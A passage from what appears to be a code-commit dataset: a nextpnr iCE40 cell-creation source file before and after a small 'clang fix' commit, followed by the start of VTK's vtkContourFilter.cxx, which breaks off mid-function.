name)\n{\n static int auto_idx = 0;\n std::unique_ptr<CellInfo> new_cell = std::unique_ptr<CellInfo>(new CellInfo());\n if (name.empty()) {\n new_cell->name = ctx->id(\"$nextpnr_\" + type.str(ctx) + \"_\" + std::to_string(auto_idx++));\n } else {\n new_cell->name = ctx->id(name);\n }\n new_cell->type = type;\n if (type == ctx->id(\"ICESTORM_LC\")) {\n new_cell->params[ctx->id(\"LUT_INIT\")] = \"0\";\n new_cell->params[ctx->id(\"NEG_CLK\")] = \"0\";\n new_cell->params[ctx->id(\"CARRY_ENABLE\")] = \"0\";\n new_cell->params[ctx->id(\"DFF_ENABLE\")] = \"0\";\n new_cell->params[ctx->id(\"SET_NORESET\")] = \"0\";\n new_cell->params[ctx->id(\"ASYNC_SR\")] = \"0\";\n new_cell->params[ctx->id(\"CIN_CONST\")] = \"0\";\n new_cell->params[ctx->id(\"CIN_SET\")] = \"0\";\n\n add_port(ctx, new_cell.get(), \"I0\", PORT_IN);\n add_port(ctx, new_cell.get(), \"I1\", PORT_IN);\n add_port(ctx, new_cell.get(), \"I2\", PORT_IN);\n add_port(ctx, new_cell.get(), \"I3\", PORT_IN);\n add_port(ctx, new_cell.get(), \"CIN\", PORT_IN);\n\n add_port(ctx, new_cell.get(), \"CLK\", PORT_IN);\n add_port(ctx, new_cell.get(), \"CEN\", PORT_IN);\n add_port(ctx, new_cell.get(), \"SR\", PORT_IN);\n\n add_port(ctx, new_cell.get(), \"LO\", PORT_OUT);\n add_port(ctx, new_cell.get(), \"O\", PORT_OUT);\n add_port(ctx, new_cell.get(), \"OUT\", PORT_OUT);\n } else if (type == ctx->id(\"SB_IO\")) {\n new_cell->params[ctx->id(\"PIN_TYPE\")] = \"0\";\n new_cell->params[ctx->id(\"PULLUP\")] = \"0\";\n new_cell->params[ctx->id(\"NEG_TRIGGER\")] = \"0\";\n new_cell->params[ctx->id(\"IOSTANDARD\")] = \"SB_LVCMOS\";\n\n add_port(ctx, new_cell.get(), \"PACKAGE_PIN\", PORT_INOUT);\n\n add_port(ctx, new_cell.get(), \"LATCH_INPUT_VALUE\", PORT_IN);\n add_port(ctx, new_cell.get(), \"CLOCK_ENABLE\", PORT_IN);\n add_port(ctx, new_cell.get(), \"INPUT_CLK\", PORT_IN);\n add_port(ctx, new_cell.get(), \"OUTPUT_CLK\", PORT_IN);\n\n add_port(ctx, new_cell.get(), \"OUTPUT_ENABLE\", PORT_IN);\n add_port(ctx, new_cell.get(), \"D_OUT_0\", PORT_IN);\n add_port(ctx, new_cell.get(), \"D_OUT_1\", PORT_IN);\n\n add_port(ctx, new_cell.get(), \"D_IN_0\", PORT_OUT);\n add_port(ctx, new_cell.get(), \"D_IN_1\", PORT_OUT);\n } else if (type == ctx->id(\"ICESTORM_RAM\")) {\n new_cell->params[ctx->id(\"NEG_CLK_W\")] = \"0\";\n new_cell->params[ctx->id(\"NEG_CLK_R\")] = \"0\";\n new_cell->params[ctx->id(\"WRITE_MODE\")] = \"0\";\n new_cell->params[ctx->id(\"READ_MODE\")] = \"0\";\n\n add_port(ctx, new_cell.get(), \"RCLK\", PORT_IN);\n add_port(ctx, new_cell.get(), \"RCLKE\", PORT_IN);\n add_port(ctx, new_cell.get(), \"RE\", PORT_IN);\n\n add_port(ctx, new_cell.get(), \"WCLK\", PORT_IN);\n add_port(ctx, new_cell.get(), \"WCLKE\", PORT_IN);\n add_port(ctx, new_cell.get(), \"WE\", PORT_IN);\n\n for (int i = 0; i < 16; i++) {\n add_port(ctx, new_cell.get(), \"WDATA_\" + std::to_string(i), PORT_IN);\n add_port(ctx, new_cell.get(), \"MASK_\" + std::to_string(i), PORT_IN);\n add_port(ctx, new_cell.get(), \"RDATA_\" + std::to_string(i), PORT_OUT);\n }\n\n for (int i = 0; i < 11; i++) {\n add_port(ctx, new_cell.get(), \"RADDR_\" + std::to_string(i), PORT_IN);\n add_port(ctx, new_cell.get(), \"WADDR_\" + std::to_string(i), PORT_IN);\n }\n } else if (type == ctx->id(\"ICESTORM_LFOSC\")) {\n add_port(ctx, new_cell.get(), \"CLKLFEN\", PORT_IN);\n add_port(ctx, new_cell.get(), \"CLKLFPU\", PORT_IN);\n add_port(ctx, new_cell.get(), \"CLKLF\", PORT_OUT);\n add_port(ctx, new_cell.get(), \"CLKLF_FABRIC\", PORT_OUT);\n } else if (type == ctx->id(\"ICESTORM_HFOSC\")) {\n new_cell->params[ctx->id(\"CLKHF_DIV\")] = \"0\";\n new_cell->params[ctx->id(\"TRIM_EN\")] = \"0\";\n\n add_port(ctx, new_cell.get(), \"CLKHFEN\", PORT_IN);\n add_port(ctx, new_cell.get(), \"CLKHFPU\", PORT_IN);\n add_port(ctx, new_cell.get(), \"CLKHF\", PORT_OUT);\n add_port(ctx, new_cell.get(), \"CLKHF_FABRIC\", PORT_OUT);\n for (int i = 0; i < 10; i++)\n add_port(ctx, new_cell.get(), \"TRIM\" + std::to_string(i), PORT_IN);\n } else if (type == ctx->id(\"SB_GB\")) {\n add_port(ctx, new_cell.get(), \"USER_SIGNAL_TO_GLOBAL_BUFFER\", PORT_IN);\n add_port(ctx, new_cell.get(), \"GLOBAL_BUFFER_OUTPUT\", PORT_OUT);\n } else {\n log_error(\"unable to create iCE40 cell of type %s\", type.c_str(ctx));\n }\n return std::move(new_cell);\n}\n\nvoid lut_to_lc(const Context *ctx, CellInfo *lut, CellInfo *lc, bool no_dff)\n{\n lc->params[ctx->id(\"LUT_INIT\")] = lut->params[ctx->id(\"LUT_INIT\")];\n replace_port(lut, ctx->id(\"I0\"), lc, ctx->id(\"I0\"));\n replace_port(lut, ctx->id(\"I1\"), lc, ctx->id(\"I1\"));\n replace_port(lut, ctx->id(\"I2\"), lc, ctx->id(\"I2\"));\n replace_port(lut, ctx->id(\"I3\"), lc, ctx->id(\"I3\"));\n if (no_dff) {\n replace_port(lut, ctx->id(\"O\"), lc, ctx->id(\"O\"));\n lc->params[ctx->id(\"DFF_ENABLE\")] = \"0\";\n }\n}\n\nvoid dff_to_lc(const Context *ctx, CellInfo *dff, CellInfo *lc, bool pass_thru_lut)\n{\n lc->params[ctx->id(\"DFF_ENABLE\")] = \"1\";\n std::string config = dff->type.str(ctx).substr(6);\n auto citer = config.begin();\n replace_port(dff, ctx->id(\"C\"), lc, ctx->id(\"CLK\"));\n\n if (citer != config.end() && *citer == 'N') {\n lc->params[ctx->id(\"NEG_CLK\")] = \"1\";\n ++citer;\n } else {\n lc->params[ctx->id(\"NEG_CLK\")] = \"0\";\n }\n\n if (citer != config.end() && *citer == 'E') {\n replace_port(dff, ctx->id(\"E\"), lc, ctx->id(\"CEN\"));\n ++citer;\n }\n\n if (citer != config.end()) {\n if ((config.end() - citer) >= 2) {\n char c = *(citer++);\n assert(c == 'S');\n lc->params[ctx->id(\"ASYNC_SR\")] = \"0\";\n } else {\n lc->params[ctx->id(\"ASYNC_SR\")] = \"1\";\n }\n\n if (*citer == 'S') {\n citer++;\n replace_port(dff, ctx->id(\"S\"), lc, ctx->id(\"SR\"));\n lc->params[ctx->id(\"SET_NORESET\")] = \"1\";\n } else {\n assert(*citer == 'R');\n citer++;\n replace_port(dff, ctx->id(\"R\"), lc, ctx->id(\"SR\"));\n lc->params[ctx->id(\"SET_NORESET\")] = \"0\";\n }\n }\n\n assert(citer == config.end());\n\n if (pass_thru_lut) {\n lc->params[ctx->id(\"LUT_INIT\")] = \"2\";\n replace_port(dff, ctx->id(\"D\"), lc, ctx->id(\"I0\"));\n }\n\n replace_port(dff, ctx->id(\"Q\"), lc, ctx->id(\"O\"));\n}\n\nvoid nxio_to_sb(Context *ctx, CellInfo *nxio, CellInfo *sbio)\n{\n if (nxio->type == ctx->id(\"$nextpnr_ibuf\")) {\n sbio->params[ctx->id(\"PIN_TYPE\")] = \"1\";\n auto pu_attr = nxio->attrs.find(ctx->id(\"PULLUP\"));\n if (pu_attr != nxio->attrs.end())\n sbio->params[ctx->id(\"PULLUP\")] = pu_attr->second;\n replace_port(nxio, ctx->id(\"O\"), sbio, ctx->id(\"D_IN_0\"));\n } else if (nxio->type == ctx->id(\"$nextpnr_obuf\")) {\n sbio->params[ctx->id(\"PIN_TYPE\")] = \"25\";\n replace_port(nxio, ctx->id(\"I\"), sbio, ctx->id(\"D_OUT_0\"));\n } else if (nxio->type == ctx->id(\"$nextpnr_iobuf\")) {\n \/\/ N.B. tristate will be dealt with below\n sbio->params[ctx->id(\"PIN_TYPE\")] = \"25\";\n replace_port(nxio, ctx->id(\"I\"), sbio, ctx->id(\"D_OUT_0\"));\n replace_port(nxio, ctx->id(\"O\"), sbio, ctx->id(\"D_IN_0\"));\n } else {\n assert(false);\n }\n NetInfo *donet = sbio->ports.at(ctx->id(\"D_OUT_0\")).net;\n CellInfo *tbuf = net_driven_by(\n ctx, donet, [](const Context *ctx, const CellInfo *cell) { return cell->type == ctx->id(\"$_TBUF_\"); },\n ctx->id(\"Y\"));\n if (tbuf) {\n sbio->params[ctx->id(\"PIN_TYPE\")] = \"41\";\n replace_port(tbuf, ctx->id(\"A\"), sbio, ctx->id(\"D_OUT_0\"));\n replace_port(tbuf, ctx->id(\"E\"), sbio, ctx->id(\"OUTPUT_ENABLE\"));\n ctx->nets.erase(donet->name);\n if (!donet->users.empty())\n log_error(\"unsupported tristate IO pattern for IO buffer '%s', \"\n \"instantiate SB_IO manually to ensure correct behaviour\\n\",\n nxio->name.c_str(ctx));\n ctx->cells.erase(tbuf->name);\n }\n}\n\nbool is_clock_port(const BaseCtx *ctx, const PortRef &port)\n{\n if (port.cell == nullptr)\n return false;\n if (is_ff(ctx, port.cell))\n return port.port == ctx->id(\"C\");\n if (port.cell->type == ctx->id(\"ICESTORM_LC\"))\n return port.port == ctx->id(\"CLK\");\n if (is_ram(ctx, port.cell) || port.cell->type == ctx->id(\"ICESTORM_RAM\"))\n return port.port == ctx->id(\"RCLK\") || port.port == ctx->id(\"WCLK\");\n return false;\n}\n\nbool is_reset_port(const BaseCtx *ctx, const PortRef &port)\n{\n if (port.cell == nullptr)\n return false;\n if (is_ff(ctx, port.cell))\n return port.port == ctx->id(\"R\") || port.port == ctx->id(\"S\");\n if (port.cell->type == ctx->id(\"ICESTORM_LC\"))\n return port.port == ctx->id(\"SR\");\n return false;\n}\n\nbool is_enable_port(const BaseCtx *ctx, const PortRef &port)\n{\n if (port.cell == nullptr)\n return false;\n if (is_ff(ctx, port.cell))\n return port.port == ctx->id(\"E\");\n if (port.cell->type == ctx->id(\"ICESTORM_LC\"))\n return port.port == ctx->id(\"CEN\");\n return false;\n}\n\nNEXTPNR_NAMESPACE_END\n<commit_msg>clang fix<commit_after>\/*\n * nextpnr -- Next Generation Place and Route\n *\n * Copyright (C) 2018 Clifford Wolf <clifford@symbioticeda.com>\n * Copyright (C) 2018 David Shah <david@symbioticeda.com>\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\n *\/\n\n#include \"cells.h\"\n#include \"design_utils.h\"\n#include \"log.h\"\n\nNEXTPNR_NAMESPACE_BEGIN\n\nvoid add_port(const Context *ctx, CellInfo *cell, std::string name, PortType dir)\n{\n IdString id = ctx->id(name);\n cell->ports[id] = PortInfo{id, nullptr, dir};\n}\n\nstd::unique_ptr<CellInfo> create_ice_cell(Context *ctx, IdString type, std::string name)\n{\n static int auto_idx = 0;\n std::unique_ptr<CellInfo> new_cell = std::unique_ptr<CellInfo>(new CellInfo());\n if (name.empty()) {\n new_cell->name = ctx->id(\"$nextpnr_\" + type.str(ctx) + \"_\" + std::to_string(auto_idx++));\n } else {\n new_cell->name = ctx->id(name);\n }\n new_cell->type = type;\n if (type == ctx->id(\"ICESTORM_LC\")) {\n new_cell->params[ctx->id(\"LUT_INIT\")] = \"0\";\n new_cell->params[ctx->id(\"NEG_CLK\")] = \"0\";\n new_cell->params[ctx->id(\"CARRY_ENABLE\")] = \"0\";\n new_cell->params[ctx->id(\"DFF_ENABLE\")] = \"0\";\n new_cell->params[ctx->id(\"SET_NORESET\")] = \"0\";\n new_cell->params[ctx->id(\"ASYNC_SR\")] = \"0\";\n new_cell->params[ctx->id(\"CIN_CONST\")] = \"0\";\n new_cell->params[ctx->id(\"CIN_SET\")] = \"0\";\n\n add_port(ctx, new_cell.get(), \"I0\", PORT_IN);\n add_port(ctx, new_cell.get(), \"I1\", PORT_IN);\n add_port(ctx, new_cell.get(), \"I2\", PORT_IN);\n add_port(ctx, new_cell.get(), \"I3\", PORT_IN);\n add_port(ctx, new_cell.get(), \"CIN\", PORT_IN);\n\n add_port(ctx, new_cell.get(), \"CLK\", PORT_IN);\n add_port(ctx, new_cell.get(), \"CEN\", PORT_IN);\n add_port(ctx, new_cell.get(), \"SR\", PORT_IN);\n\n add_port(ctx, new_cell.get(), \"LO\", PORT_OUT);\n add_port(ctx, new_cell.get(), \"O\", PORT_OUT);\n add_port(ctx, new_cell.get(), \"OUT\", PORT_OUT);\n } else if (type == ctx->id(\"SB_IO\")) {\n new_cell->params[ctx->id(\"PIN_TYPE\")] = \"0\";\n new_cell->params[ctx->id(\"PULLUP\")] = \"0\";\n new_cell->params[ctx->id(\"NEG_TRIGGER\")] = \"0\";\n new_cell->params[ctx->id(\"IOSTANDARD\")] = \"SB_LVCMOS\";\n\n add_port(ctx, new_cell.get(), \"PACKAGE_PIN\", PORT_INOUT);\n\n add_port(ctx, new_cell.get(), \"LATCH_INPUT_VALUE\", PORT_IN);\n add_port(ctx, new_cell.get(), \"CLOCK_ENABLE\", PORT_IN);\n add_port(ctx, new_cell.get(), \"INPUT_CLK\", PORT_IN);\n add_port(ctx, new_cell.get(), \"OUTPUT_CLK\", PORT_IN);\n\n add_port(ctx, new_cell.get(), \"OUTPUT_ENABLE\", PORT_IN);\n add_port(ctx, new_cell.get(), \"D_OUT_0\", PORT_IN);\n add_port(ctx, new_cell.get(), \"D_OUT_1\", PORT_IN);\n\n add_port(ctx, new_cell.get(), \"D_IN_0\", PORT_OUT);\n add_port(ctx, new_cell.get(), \"D_IN_1\", PORT_OUT);\n } else if (type == ctx->id(\"ICESTORM_RAM\")) {\n new_cell->params[ctx->id(\"NEG_CLK_W\")] = \"0\";\n new_cell->params[ctx->id(\"NEG_CLK_R\")] = \"0\";\n new_cell->params[ctx->id(\"WRITE_MODE\")] = \"0\";\n new_cell->params[ctx->id(\"READ_MODE\")] = \"0\";\n\n add_port(ctx, new_cell.get(), \"RCLK\", PORT_IN);\n add_port(ctx, new_cell.get(), \"RCLKE\", PORT_IN);\n add_port(ctx, new_cell.get(), \"RE\", PORT_IN);\n\n add_port(ctx, new_cell.get(), \"WCLK\", PORT_IN);\n add_port(ctx, new_cell.get(), \"WCLKE\", PORT_IN);\n add_port(ctx, new_cell.get(), \"WE\", PORT_IN);\n\n for (int i = 0; i < 16; i++) {\n add_port(ctx, new_cell.get(), \"WDATA_\" + std::to_string(i), PORT_IN);\n add_port(ctx, new_cell.get(), \"MASK_\" + std::to_string(i), PORT_IN);\n add_port(ctx, new_cell.get(), \"RDATA_\" + std::to_string(i), PORT_OUT);\n }\n\n for (int i = 0; i < 11; i++) {\n add_port(ctx, new_cell.get(), \"RADDR_\" + std::to_string(i), PORT_IN);\n add_port(ctx, new_cell.get(), \"WADDR_\" + std::to_string(i), PORT_IN);\n }\n } else if (type == ctx->id(\"ICESTORM_LFOSC\")) {\n add_port(ctx, new_cell.get(), \"CLKLFEN\", PORT_IN);\n add_port(ctx, new_cell.get(), \"CLKLFPU\", PORT_IN);\n add_port(ctx, new_cell.get(), \"CLKLF\", PORT_OUT);\n add_port(ctx, new_cell.get(), \"CLKLF_FABRIC\", PORT_OUT);\n } else if (type == ctx->id(\"ICESTORM_HFOSC\")) {\n new_cell->params[ctx->id(\"CLKHF_DIV\")] = \"0\";\n new_cell->params[ctx->id(\"TRIM_EN\")] = \"0\";\n\n add_port(ctx, new_cell.get(), \"CLKHFEN\", PORT_IN);\n add_port(ctx, new_cell.get(), \"CLKHFPU\", PORT_IN);\n add_port(ctx, new_cell.get(), \"CLKHF\", PORT_OUT);\n add_port(ctx, new_cell.get(), \"CLKHF_FABRIC\", PORT_OUT);\n for (int i = 0; i < 10; i++)\n add_port(ctx, new_cell.get(), \"TRIM\" + std::to_string(i), PORT_IN);\n } else if (type == ctx->id(\"SB_GB\")) {\n add_port(ctx, new_cell.get(), \"USER_SIGNAL_TO_GLOBAL_BUFFER\", PORT_IN);\n add_port(ctx, new_cell.get(), \"GLOBAL_BUFFER_OUTPUT\", PORT_OUT);\n } else {\n log_error(\"unable to create iCE40 cell of type %s\", type.c_str(ctx));\n }\n return new_cell;\n}\n\nvoid lut_to_lc(const Context *ctx, CellInfo *lut, CellInfo *lc, bool no_dff)\n{\n lc->params[ctx->id(\"LUT_INIT\")] = lut->params[ctx->id(\"LUT_INIT\")];\n replace_port(lut, ctx->id(\"I0\"), lc, ctx->id(\"I0\"));\n replace_port(lut, ctx->id(\"I1\"), lc, ctx->id(\"I1\"));\n replace_port(lut, ctx->id(\"I2\"), lc, ctx->id(\"I2\"));\n replace_port(lut, ctx->id(\"I3\"), lc, ctx->id(\"I3\"));\n if (no_dff) {\n replace_port(lut, ctx->id(\"O\"), lc, ctx->id(\"O\"));\n lc->params[ctx->id(\"DFF_ENABLE\")] = \"0\";\n }\n}\n\nvoid dff_to_lc(const Context *ctx, CellInfo *dff, CellInfo *lc, bool pass_thru_lut)\n{\n lc->params[ctx->id(\"DFF_ENABLE\")] = \"1\";\n std::string config = dff->type.str(ctx).substr(6);\n auto citer = config.begin();\n replace_port(dff, ctx->id(\"C\"), lc, ctx->id(\"CLK\"));\n\n if (citer != config.end() && *citer == 'N') {\n lc->params[ctx->id(\"NEG_CLK\")] = \"1\";\n ++citer;\n } else {\n lc->params[ctx->id(\"NEG_CLK\")] = \"0\";\n }\n\n if (citer != config.end() && *citer == 'E') {\n replace_port(dff, ctx->id(\"E\"), lc, ctx->id(\"CEN\"));\n ++citer;\n }\n\n if (citer != config.end()) {\n if ((config.end() - citer) >= 2) {\n char c = *(citer++);\n assert(c == 'S');\n lc->params[ctx->id(\"ASYNC_SR\")] = \"0\";\n } else {\n lc->params[ctx->id(\"ASYNC_SR\")] = \"1\";\n }\n\n if (*citer == 'S') {\n citer++;\n replace_port(dff, ctx->id(\"S\"), lc, ctx->id(\"SR\"));\n lc->params[ctx->id(\"SET_NORESET\")] = \"1\";\n } else {\n assert(*citer == 'R');\n citer++;\n replace_port(dff, ctx->id(\"R\"), lc, ctx->id(\"SR\"));\n lc->params[ctx->id(\"SET_NORESET\")] = \"0\";\n }\n }\n\n assert(citer == config.end());\n\n if (pass_thru_lut) {\n lc->params[ctx->id(\"LUT_INIT\")] = \"2\";\n replace_port(dff, ctx->id(\"D\"), lc, ctx->id(\"I0\"));\n }\n\n replace_port(dff, ctx->id(\"Q\"), lc, ctx->id(\"O\"));\n}\n\nvoid nxio_to_sb(Context *ctx, CellInfo *nxio, CellInfo *sbio)\n{\n if (nxio->type == ctx->id(\"$nextpnr_ibuf\")) {\n sbio->params[ctx->id(\"PIN_TYPE\")] = \"1\";\n auto pu_attr = nxio->attrs.find(ctx->id(\"PULLUP\"));\n if (pu_attr != nxio->attrs.end())\n sbio->params[ctx->id(\"PULLUP\")] = pu_attr->second;\n replace_port(nxio, ctx->id(\"O\"), sbio, ctx->id(\"D_IN_0\"));\n } else if (nxio->type == ctx->id(\"$nextpnr_obuf\")) {\n sbio->params[ctx->id(\"PIN_TYPE\")] = \"25\";\n replace_port(nxio, ctx->id(\"I\"), sbio, ctx->id(\"D_OUT_0\"));\n } else if (nxio->type == ctx->id(\"$nextpnr_iobuf\")) {\n \/\/ N.B. tristate will be dealt with below\n sbio->params[ctx->id(\"PIN_TYPE\")] = \"25\";\n replace_port(nxio, ctx->id(\"I\"), sbio, ctx->id(\"D_OUT_0\"));\n replace_port(nxio, ctx->id(\"O\"), sbio, ctx->id(\"D_IN_0\"));\n } else {\n assert(false);\n }\n NetInfo *donet = sbio->ports.at(ctx->id(\"D_OUT_0\")).net;\n CellInfo *tbuf = net_driven_by(\n ctx, donet, [](const Context *ctx, const CellInfo *cell) { return cell->type == ctx->id(\"$_TBUF_\"); },\n ctx->id(\"Y\"));\n if (tbuf) {\n sbio->params[ctx->id(\"PIN_TYPE\")] = \"41\";\n replace_port(tbuf, ctx->id(\"A\"), sbio, ctx->id(\"D_OUT_0\"));\n replace_port(tbuf, ctx->id(\"E\"), sbio, ctx->id(\"OUTPUT_ENABLE\"));\n ctx->nets.erase(donet->name);\n if (!donet->users.empty())\n log_error(\"unsupported tristate IO pattern for IO buffer '%s', \"\n \"instantiate SB_IO manually to ensure correct behaviour\\n\",\n nxio->name.c_str(ctx));\n ctx->cells.erase(tbuf->name);\n }\n}\n\nbool is_clock_port(const BaseCtx *ctx, const PortRef &port)\n{\n if (port.cell == nullptr)\n return false;\n if (is_ff(ctx, port.cell))\n return port.port == ctx->id(\"C\");\n if (port.cell->type == ctx->id(\"ICESTORM_LC\"))\n return port.port == ctx->id(\"CLK\");\n if (is_ram(ctx, port.cell) || port.cell->type == ctx->id(\"ICESTORM_RAM\"))\n return port.port == ctx->id(\"RCLK\") || port.port == ctx->id(\"WCLK\");\n return false;\n}\n\nbool is_reset_port(const BaseCtx *ctx, const PortRef &port)\n{\n if (port.cell == nullptr)\n return false;\n if (is_ff(ctx, port.cell))\n return port.port == ctx->id(\"R\") || port.port == ctx->id(\"S\");\n if (port.cell->type == ctx->id(\"ICESTORM_LC\"))\n return port.port == ctx->id(\"SR\");\n return false;\n}\n\nbool is_enable_port(const BaseCtx *ctx, const PortRef &port)\n{\n if (port.cell == nullptr)\n return false;\n if (is_ff(ctx, port.cell))\n return port.port == ctx->id(\"E\");\n if (port.cell->type == ctx->id(\"ICESTORM_LC\"))\n return port.port == ctx->id(\"CEN\");\n return false;\n}\n\nNEXTPNR_NAMESPACE_END\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: vtkContourFilter.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\nCopyright (c) 1993-2000 Ken Martin, Will Schroeder, Bill Lorensen \nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided with the distribution.\n\n * Neither name of Ken Martin, Will Schroeder, or Bill Lorensen nor the names\n of any contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\n * Modified source versions must be plainly marked as such, and must not be\n misrepresented as being the original software.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS''\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n=========================================================================*\/\n#include <math.h>\n#include \"vtkContourFilter.h\"\n#include \"vtkScalars.h\"\n#include \"vtkCell.h\"\n#include \"vtkMergePoints.h\"\n#include \"vtkContourValues.h\"\n#include \"vtkScalarTree.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkTimerLog.h\"\n#include \"vtkUnstructuredGrid.h\"\n#include \"vtkContourGrid.h\"\n\n\/\/------------------------------------------------------------------------------\nvtkContourFilter* vtkContourFilter::New()\n{\n \/\/ First try to create the object from the vtkObjectFactory\n vtkObject* ret = vtkObjectFactory::CreateInstance(\"vtkContourFilter\");\n if(ret)\n {\n return (vtkContourFilter*)ret;\n }\n \/\/ If the factory was unable to create the object, then create it here.\n return new vtkContourFilter;\n}\n\n\n\n\n\/\/ Construct object with initial range (0,1) and single contour value\n\/\/ of 0.0.\nvtkContourFilter::vtkContourFilter()\n{\n this->ContourValues = vtkContourValues::New();\n\n this->ComputeNormals = 1;\n this->ComputeGradients = 0;\n this->ComputeScalars = 1;\n\n this->Locator = NULL;\n\n this->UseScalarTree = 0;\n this->ScalarTree = NULL;\n}\n\nvtkContourFilter::~vtkContourFilter()\n{\n this->ContourValues->Delete();\n if ( this->Locator )\n {\n this->Locator->UnRegister(this);\n this->Locator = NULL;\n }\n if ( this->ScalarTree )\n {\n this->ScalarTree->Delete();\n }\n}\n\n\/\/ Overload standard modified time function. If contour values are modified,\n\/\/ then this object is modified as well.\nunsigned long vtkContourFilter::GetMTime()\n{\n unsigned long mTime=this->vtkDataSetToPolyDataFilter::GetMTime();\n unsigned long time;\n\n if (this->ContourValues)\n {\n time = this->ContourValues->GetMTime();\n mTime = ( time > mTime ? time : mTime );\n }\n if (this->Locator)\n {\n time = this->Locator->GetMTime();\n mTime = ( time > mTime ? time : mTime );\n }\n\n return mTime;\n}\n\n\/\/\n\/\/ General contouring filter. Handles arbitrary input.\n\/\/\nvoid vtkContourFilter::Execute()\n{\n int cellId, i, abortExecute=0;\n vtkIdList *cellPts;\n vtkScalars *inScalars;\n vtkCell *cell;\n float range[2];\n vtkCellArray *newVerts, *newLines, *newPolys;\n vtkPoints *newPts;\n vtkDataSet *input=this->GetInput();\n vtkPolyData *output=this->GetOutput();\n int numCells, estimatedSize;\n vtkPointData *inPd=input->GetPointData(), *outPd=output->GetPointData();\n vtkCellData *inCd=input->GetCellData(), *outCd=output->GetCellData();\n int numContours=this->ContourValues->GetNumberOfContours();\n float *values=this->ContourValues->GetValues();\n vtkScalars *cellScalars;\n\tvtkTimerLog *timer = vtkTimerLog::New();\n\n\ttimer->StartTimer();\n vtkDebugMacro(<< \"Executing contour filter\");\n\n\tif (input->GetDataObjectType() == VTK_UNSTRUCTURED_GRID)\n\t\t{\n\t\tvtkContourGrid *cgrid;\n\n\t\tcgrid = vtkContourGrid::New();\n\t\tcgrid->SetInput(input);\n\t\tcgrid->Update();\n\t\toutput = cgrid->GetOutput();\n\t\t} \/\/if type VTK_UNSTRUCTURED_GRID\n\telse\n\t\t{\n\t\tnumCells = input->GetNumberOfCells();\n\t inScalars = input->GetPointData()->GetScalars();\n\t\tif ( ! inScalars || numCells < 1 )\n\t\t\t{\n\t\t\tvtkErrorMacro(<<\"No data to contour\");\n\t\t\treturn;\n\t\t\t}\n\n\t\tinScalars->GetRange(range);\n\/\/\n\/\/ Create objects to hold output of contour operation. First estimate allocation size.\n\/\/\n\t estimatedSize = (int) pow ((double) numCells, .75);\n\t estimatedSize *= numContours;\n\t estimatedSize = estimatedSize \/ 1024 * 1024; \/\/multiple of 1024\n\t if (estimatedSize < 1024)\n\t {\n\t estimatedSize = 1024;\n\t }\n\n\t newPts = vtkPoints::New();\n\t newPts->Allocate(estimatedSize,estimatedSize);\n\t newVerts = vtkCellArray::New();\n\t newVerts->Allocate(estimatedSize,estimatedSize);\n\t newLines = vtkCellArray::New();\n\t newLines->Allocate(estimatedSize,estimatedSize);\n\t newPolys = vtkCellArray::New();\n\t newPolys->Allocate(estimatedSize,estimatedSize);\n\t cellScalars = vtkScalars::New();\n\t cellScalars->Allocate(VTK_CELL_SIZE);\n \n \/\/ locator used to merge potentially duplicate points\n\t if ( this->Locator == NULL )\n\t\t {\n\t\t\tthis->CreateDefaultLocator();\n\t\t\t}\n\t\tthis->Locator->InitPointInsertion (newPts, input->GetBounds(),estimatedSize);\n\n \/\/ interpolate data along edge\n \/\/ if we did not ask for scalars to be computed, don't copy them\n\t\tif (!this->ComputeScalars)\n\t\t {\n\t\t outPd->CopyScalarsOff();\n\t\t }\n\t\toutPd->InterpolateAllocate(inPd,estimatedSize,estimatedSize);\n\t\toutCd->CopyAllocate(inCd,estimatedSize,estimatedSize);\n\n \/\/ If enabled, build a scalar tree to accelerate search\n \/\/\n\t\tif ( !this->UseScalarTree )\n\t\t {\n\t\t for (cellId=0; cellId < numCells && !abortExecute; cellId++)\n\t\t {\n\t\t\t cell = input->GetCell(cellId);\n\t\t\t\tcellPts = cell->GetPointIds();\n\t\t\t inScalars->GetScalars(cellPts,cellScalars);\n\n\t\t\t if ( ! (cellId % 5000) ) \n\t\t\t\t {\n\t\t\t\t\tvtkDebugMacro(<<\"Contouring #\" << 